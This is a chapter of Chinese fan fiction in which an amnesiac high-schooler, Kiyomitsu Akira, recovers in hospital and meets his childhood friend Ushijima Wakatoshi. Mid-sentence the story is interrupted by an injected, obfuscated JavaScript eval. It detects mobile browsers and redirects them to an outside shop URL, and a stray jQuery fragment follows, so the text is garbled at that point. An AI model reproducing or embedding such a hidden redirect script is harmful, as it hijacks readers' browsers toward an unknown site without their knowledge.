又是同样的梦……

    深蓝色,淡紫色,水面逐渐被颜色晕染。

    在深不见底的海底深处,却散发着让人情不自禁靠近的光点。

    意识被魇住,手缓缓向下伸,冰凉的水先是触碰到指尖,接着是小臂,肩膀,下巴……

    但当大半个身体全部陷入水中后,原本吸引人的光点却一瞬间露出原本真实的面目。

    无数双手从漆黑的海底涌出,一瞬间就拉扯住身体的每一个部位。

    鼻子无法呼吸,意识逐渐模糊。

    只能看到面前逐渐扭曲的现实,还有不断拽着他下坠的手。

    “你这种人,到底有没有真心”

    “我恨你”

    “还不如从来不认识你”

    “凭什么”

    呼吸……不上来了!

    在彻底窒息的最后一刻,清光澈毫无预兆的惊醒了。

    ……

    心脏不停跳动,好像刚经历了极限运动,但意识已经清楚刚刚发生的一切都是噩梦。

    清光澈从蜷缩的姿势变为平躺,伸出胳膊挡在眼前。

    梦中的一切都清晰的印在脑海。

    濒临死亡的恐惧,还有不停浮现在耳边的呢喃,都让他有点眩晕。

    但不断起伏的胸口还有呼吸时带着消毒水气味的空气,又让他清晰的知道自己是安全的。

    但除此之外,他什么都不知道。

    上午的阳光从窗户斜着打在他的病床上,清光澈抬起胳膊,仰头看着纤细的几乎投名的手腕上缠着的手环。

    这是清光澈从车祸中醒来的第七天。

    车祸和过去十几年的记忆全都忘的一干二净,除此之外,清光澈的身体却健康的能打死一头牛。

    医生带着一堆实习生们围在他床前诊断了半小时。

    最终得出最直白,最不绕弯子,最一针见血的结论——

    变成脑残了

    清光阳莱抱着脑残的儿子大哭了一通,确定只有脑子出问题后就彻底放下心来。

    探望时间也从一开始24小时变成了中饭和晚饭时间。

    虽然整个过程清光澈被疑惑充斥了小脑瓜,但这意外又熟悉的感觉却让他觉得分外亲切。

    他一个人在病床上乐得清闲。

    但变化总是说来就来。

    看着墙上的闹钟从十一点缓慢向十二点爬去,门外的骚动声也越来越强烈起来。

    虽然但是,已经失去记忆的清光澈却下意识绷紧肌肉。

    三、二、一

    砰

    门被从外爆破开来,吓得清光澈一炸毛。

    “澈咪咪!妈妈来看你了!”

    来的女人胳膊上挎着一个大大的lv经典款包包,再往上是手腕和脖子上带着的项链和手链。

    清光澈最后才落在对方扬起的大大的笑脸上,伴随着一晃一晃的耳环。

    啊,好闪——

    这是一个极其成熟又美丽的女人,面容姣好,看起来像清光澈的同龄人。

    但只要直视过对方的眼睛,就不会有这么可笑的念头。

    看着被自己动静吓得炸起毛的清光澈,清光阳莱照常走过去搓搓清光澈脑袋毛。

    把炸起的毛全部搓平,清光阳莱放下病床上自带的小桌板。

    清光澈老老实实的把手放在桌子上等待开饭。

    “澈咪咪,今天恢复的怎么样了?肚子饿了么?”

    一边从包包中掏出饭盒,一边关心清光澈。

    清光澈的注意力已经放在面前的饭盒上了。

    从精致的lv包包中掏出饭盒。

    一份大大的便当,还带着两碗鸡汤,清光澈接过米饭的时候还有些烫手。

    是超级豪华的病号餐呢。

    除了第一天他惊叹了一下,受宠若惊的询问做这么多饭会不会很辛苦,只得到这样的回答:

    “想什么呢,怎么可能,这是妈妈从非常赞的店里打包来的‘一级病号营养餐’,味道不错吧。”

    “嗯,味道是不错啦……”

    不知道为什么,既视感更强烈了。

    看着随意坐在自己病床上,已经开始吃饭的妈妈,清光澈慢吞吞的咕蛹了一下屁股,也开始吃饭。

    一时间房间内只有餐具碰撞的声音。

    吃到一半,清光阳莱突然开口:

    “今天我去问了主治医生,最近状态还不错,可以随时出院。”

    “哦,那就出院好了。”清光澈对这事无所谓,咽下一口饭随意说道。

    “我也是这么想,已经开学一周了,澈也要回去准备一下。”

    “诶——上学吗,我还是病人呢——”

    不知道为什么,对什么记忆都忘的一干二净的清光澈,唯独在这件事上突破底层代码意外的抗拒。

    “不行哦——”

    但这件事没有清光澈反抗的余地,青光阳莱轻飘飘的驳回。

    “而且,若利君从一周前就表示要来探望你了,你忘掉他这件事,他很失落哦,你们可是从还不会走路时就是好朋友了。”

    但对于青光阳莱绘声绘色描述的“青梅竹马”,清光澈不能说有印象,只能说是——

    “谁?”

    眨巴眨巴清澈的眼睛,清光澈对阳莱口中说出的陌生名字毫无印象。

    哎,变成脑残了也没办法。

    不愧是母子俩,感悟出奇的一致,清光澈挠挠脑袋,对于阳莱口中这个“好朋友”无所谓。

    “那就来探望呗。”

    就是个朋友而已,还能把他吃了不成。

    清光澈脸上满是失忆后的单纯,配上白白嫩嫩的小脸,让人莫名想要狠狠搓过去。

    从心的阳莱也是毫不客气对着自己大儿子狠搓了一顿。

    “好了澈咪咪,妈妈公司还有事情要忙,下午你就收拾收拾东西,等到晚上我来接你。”

    清光阳莱踩着高跟鞋啪嗒啪嗒走了,每一步都带着职场精英的风风火火。

    看起来是完全不同风格的母子。

    懒洋洋的,在阳光下化成一团蛞蝓的清光澈躺在床上发了会呆,脑子里慢吞吞的催促自己起来收拾一下东西。

    嗯……收拾东西

    十分钟后

    嗯……衣服在柜子里

    二十分钟后

    嗯……好适合睡午觉

    三十分钟

    已经闭上眼睛的清光澈被一阵强劲的尿意憋醒,挠了挠屁股,终于屈尊从床上爬起来。

    原本看不出形状的衣服随着引力自然垂落,扣子扣的松松散散,锁骨漏出大半,顺着爬着的姿势看过去,几乎能从领口看个精光。

    清光澈的腰腹流畅的没有一点赘肉,只有紧实的马甲线随着动作舒展,让人忍不住想伸手摸一摸到底是什么手感。

    清光澈也不在意,踩上拖鞋就向着厕所进发。

    豪华病房里配备了所有设施,马桶、淋雨、甚至浴缸,空气中弥漫着清新的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906657|213034||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    柠檬香.

    整个病房就他一个人,清光澈甚至连门也懒得关,站在马桶前就准备掏小鸡。

    “哗啦啦”

    十分健康且符合高中生身体素质的声音响起,清光澈微微眯起眼睛,感受尿意排空的感觉。

    但过于健康的水声遮挡住了其他声音,清光澈完全没注意到一声轻微的“咔哒”声。

    病房的门不知不觉中悄悄推开,来人高大的阴影挡住楼道的光线。

    还没来得及出声,听着屋内的水声就已经意识到了什么。

    牛岛若利:沉默

    手上还带着看病号的伴手礼,他也不出声,默默的移到厕所门口。

    也不知道这么大体型是如何做到如此悄无声息。

    总之背对着厕所门的清光澈是毫无察觉。

    释放完毕,抖一抖

    惬意的装回□□,清光澈哼着歌,慢悠悠的走到洗手池,一边洗手,一边在镜子里观察自己的脸。

    “嚯啊,这张帅脸,虽然不知道你这家伙之前是什么人,但既然把身体交给我了,我一定会发挥你的最大潜力!”

    一边360度观察着自己脸上的每一个细节,一边臭屁的用手蘸水给自己抓了下发型。

    对自己的欣赏过后,清光澈心满意足的转身离开。

    在门口看了不知道多久的牛岛若利注意到他要离开,非常识趣的往后退一步,站在门边,像个沉默的保镖。

    但显然,沉迷自己帅脸的明星并没有注意到这个隐藏在他必经之路上的路障。

    “哎哟!”

    清光澈从洗手间门口一扭,脸毫无防备撞在一堵人墙上。

    人墙和墙虽然同是墙,但区别十分之大,清光澈是被某种热热的,有弹性的东西弹回去的。

    不疼,甚至有点过于有弹性,被撞懵的清光澈向后退了一步,这才看清面前人的全貌。

    我次凹

    清光澈眼神都清澈了。

    阴影覆盖在他脸前,面前的男人非常陌生,光是粗略打量一下,就感觉身高直逼一米九。

    清光澈微微仰头,嘴也吃惊的没有合上,带着被撞到鼻子,从上到下打量起此人。

    这人穿着简单的运动服,胸前的拉链没有拉,露出里面黑色的紧身短袖。

    清光澈微妙的一顿,再次扫过内搭,发现并非紧身款,只是被对方健壮的身材撑满而已。

    如果说身材就是男人最好的穿搭,那眼前这个突然刷新在病房里的男人,在清光澈看来可以算得上顶级穿搭。

    肩宽腰窄,胸膛厚实

    他的脸上还残留着撞上去的触感。

    但也只是比他强了这么一点点点!

    被好身材短暂晃走注意力,三秒后终于回过神的清光澈睁大双眼。

    我次凹!

    “你谁啊!”

    什么人!啥时候来的啊!他刚刚可是在尿尿!还有对着镜子那个啥……全都被看到了吗!

    意识到刚刚发生了什么,一时间清光澈不知道是要先捂脸还是捂□□。

    瞬间红温到锁骨都红了的清光澈最终选择捂□□。

    从尿尿就在看,再到现在看着慢慢红温的清光澈,牛岛若利丝毫不觉有什么不对,提起手里的果篮,认真回答:

    “我是牛岛若利,来探病。”

    什么,这就是妈妈说的幼驯染!这人性格好差劲!我不要和他玩!

    此为清光澈(失忆后)对牛岛若利的第一印象